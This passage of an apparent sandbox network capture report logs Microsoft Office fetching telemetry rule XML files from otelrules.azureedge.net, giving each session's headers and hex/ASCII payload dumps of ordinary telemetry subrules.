3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.9	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:10 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 438404c1-e01e-0020-72a2-42de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215411Z-174f7845968glpgnhC1EWR7uec000000122g00000000k8qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.9	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:10 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 9a67ffab-601e-00ab-7222-4166f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215411Z-174f7845968pght8hC1EWRyvxg000000058g000000000qm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:11 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.9	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 512a133a-001e-0066-4733-40561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215411Z-174f78459685726chC1EWRsnbg00000011z000000000hdsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.9	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:11 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: f4d7e30f-e01e-0020-0ff3-41de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215412Z-174f78459685m244hC1EWRgp2c00000011y0000000002u2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.9	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: b778ce42-a01e-0021-7a3d-41814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215412Z-174f7845968kvnqxhC1EWRmf3g0000000nv00000000075bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.9	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:13 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:13 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: a9f050e4-401e-0083-111c-41075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215413Z-174f7845968pght8hC1EWRyvxg000000055g000000008bqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:13 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.9	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:13 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 5c7cfbca-b01e-0002-28f7-411b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215413Z-174f7845968j6t2phC1EWRcfe80000001290000000000nr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.9	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:13 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215414Z-174f78459685m244hC1EWRgp2c00000011z00000000006hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.9	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:13 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 10d830e7-e01e-0020-2d2d-41de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215414Z-174f78459684bddphC1EWRbht400000011tg000000005bre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.9	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:14 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:14 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215414Z-174f7845968jrjrxhC1EWRmmrs000000121g00000000hn8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:14 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.9	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:15 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:15 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: e470f92f-a01e-001e-6da2-4249ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215415Z-174f78459684db9fhC1EWRc7g40000000230000000003teq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:15 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.9	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:15 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:15 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 77084b97-401e-0015-43af-420e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215415Z-174f7845968j6t2phC1EWRcfe8000000124000000000dw1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:16 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

